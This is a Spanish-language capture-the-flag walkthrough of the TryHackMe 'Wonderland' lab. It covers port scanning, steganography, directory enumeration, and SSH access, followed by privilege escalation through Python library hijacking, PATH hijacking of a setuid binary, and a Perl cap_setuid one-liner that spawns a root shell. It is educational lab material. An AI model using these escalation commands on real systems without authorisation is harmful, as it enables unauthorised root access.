This page looks best with JavaScript enabled

TryHackMe - Wonderland

 •  ✍️ sckull

Wonderland es una maquina de TryHackMe, presenta un reto de Esteganografia que nos dio un tipo de pista. Tras enumerar la pagina web encontramos credenciales para acceder por SSH. Cambiamos a un segundo usuario modificando un script para realizar Python Library Hijacking. Modificando la variable PATH conseguimos una shell al siguiente usuario. Finalmente con las Capabilities de Perl obtuvimos acceso como root.

Room

Titulo Wonderland box_img_maker
Descripción Fall down the rabbit hole and enter wonderland.
Puntos 80
Dificultad Media
Maker

NinjaJc01

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Nmap 7.80 scan initiated Tue Sep  1 00:47:40 2020 as: nmap -Pn -sV -o mini_scan wonderland.thm
Nmap scan report for wonderland.thm (10.10.220.104)
Host is up (0.25s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep  1 00:49:59 2020 -- 1 IP address (1 host up) scanned in 138.96 seconds

HTTP

Encontramos una pagina web en el puerto 80.
image

Encontramos una imagen en la pagina, la descargamos, analizamos y encontramos un archivo dentro de la imagen el cual nos da una pista.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
kali@kali:~/thm/wonderland$ steghide info white_rabbit_1.jpg 
"white_rabbit_1.jpg":
  format: jpeg
  capacity: 99.2 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase: 
  embedded file "hint.txt":
    size: 22.0 Byte
    encrypted: rijndael-128, cbc
    compressed: yes
kali@kali:~/thm/wonderland$ steghide extract -sf white_rabbit_1.jpg 
Enter passphrase: 
wrote extracted data to "hint.txt".
kali@kali:~/thm/wonderland$ cat hint.txt 
follow the r a b b i t
kali@kali:~/thm/wonderland$

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

1
2
3
4
5
kali@kali:~/thm/wonderland$ gobuster dir -u http://wonderland.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 25 -x php,html,txt
/img (Status: 301)
/index.html (Status: 301)
/index.html (Status: 301)
/r (Status: 301)

STEGANOGRAFIA

En /img encontramos dos imagenes nuevas, utilizamos steghide y binwalk pero no encontramos nada interesante dentro de estas imagenes.

En /r solo encontramos una frase, ejecutamos gobuster nuevamente en este directorio.
image

Encontramos /r/a y nuevamente una frase.
image

Encontramos nuevamente una frase en /r/a/b/ al pasarle gobuster /r/a/.
image

Al pasarle nuevamente a /r/a/b/ encontramos /r/a/b/b/ lo cual indica que la palabra que forma estos directorios es rabbit el cual es la pista que encontramos en la imagen. Al visitar /r/a/b/b/i/t/ vemos una nueva pagina con una imagen nueva.

image

Además vemos lo que parecen ser unas credenciales escondidas.

image

ALICE - USER

Utilizamos estas credenciales en el servicio ssh y logramos obtener una shell con la usuario Alice.

image

Realizamos una enumeracion con sudo -l -l y vemos que podemos ejecutar python3 con el script walrus_and_the_carpenter.py con el usuario rabbit.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

[... REDACTED ...]

"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
    line = random.choice(poem.split("\n"))
    print("The line was:\t", line)

Encontramos tambien a perl con “capabilites” pero al intentar utilizar este nos mostró que no tenemos permisos.

image

RABBIT - USER

El script importa la libreria random, por lo cual se podria realizar Python Library Hijacking. Intentamos crear el archivo import.py con una shell inversa dentro, ejecutamos sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py pero la shell moría al conectarse. Ya que tenemos una shell ssh, ejecutamos /bin/bash el cual nos devolveria una shell con el usuario rabbit.

1
2
echo "import os; os.system('/bin/bash');" > random.py
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

image

Realizamos una enumeracion con este archivo y encontramos teaParty el cual copiamos a nuestra maquina para analizarlo.
image

Al ejecutar strings vemos que posiblemente se realiza una ejecucion de echo y date, pero hay que tomar encuenta que echo lleva el PATH/direccion del mismo y date no.

image

El codigo fuente generado por Ghidra nos indica que si realiza la ejecucion de echo y date.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void main(void)

{
  setuid(0x3eb);
  setgid(0x3eb);
  puts("Welcome to the tea party!\nThe Mad Hatter will be here soon.");
  system("/bin/echo -n \'Probably by \' && date --date=\'next hour\' -R");
  puts("Ask very nicely, and I will give you some tea while you wait for him");
  getchar();
  puts("Segmentation fault (core dumped)");
  return;
}

Primero, intentamos utilizar nuevamente perl pero, no tenemos permiso.

image

HATTER - USER

Realizamos "Hijacking PATH", el objetivo es date ya que toma el $PATH/date actual del usuario que lo ejecuta. Para ello modificamos la variable $PATH agregando al principio una direccion a conveniencia, en este caso el directorio principal de rabbit en el que seguidamente creamos el archivo date el cual ejecutará /bin/bash y para finalizar hacemos ejecutable tal archivo.

1
2
3
4
5
6
7
8
#Hijacking PATH
export PATH=/home/rabbit:$PATH
echo $PATH
echo "/bin/bash" > date
chmod +x date

#Binario
/home/rabbit/teaParty

Ejecutamos el binario teaParty el cual nos devuelve una shell con el usuario Hatter.
image

PRIVILEGE ESCALATION

Intentamos ejecutar perl ya que tiene “capabilites” cap_setuid+ep que al intentarlo con alice y rabbit no fue posible tomar ventaja. Logramos obtener una shell con usuario root y obtener nuestras flags user.txt y root.txt.

1
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

image

Info

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe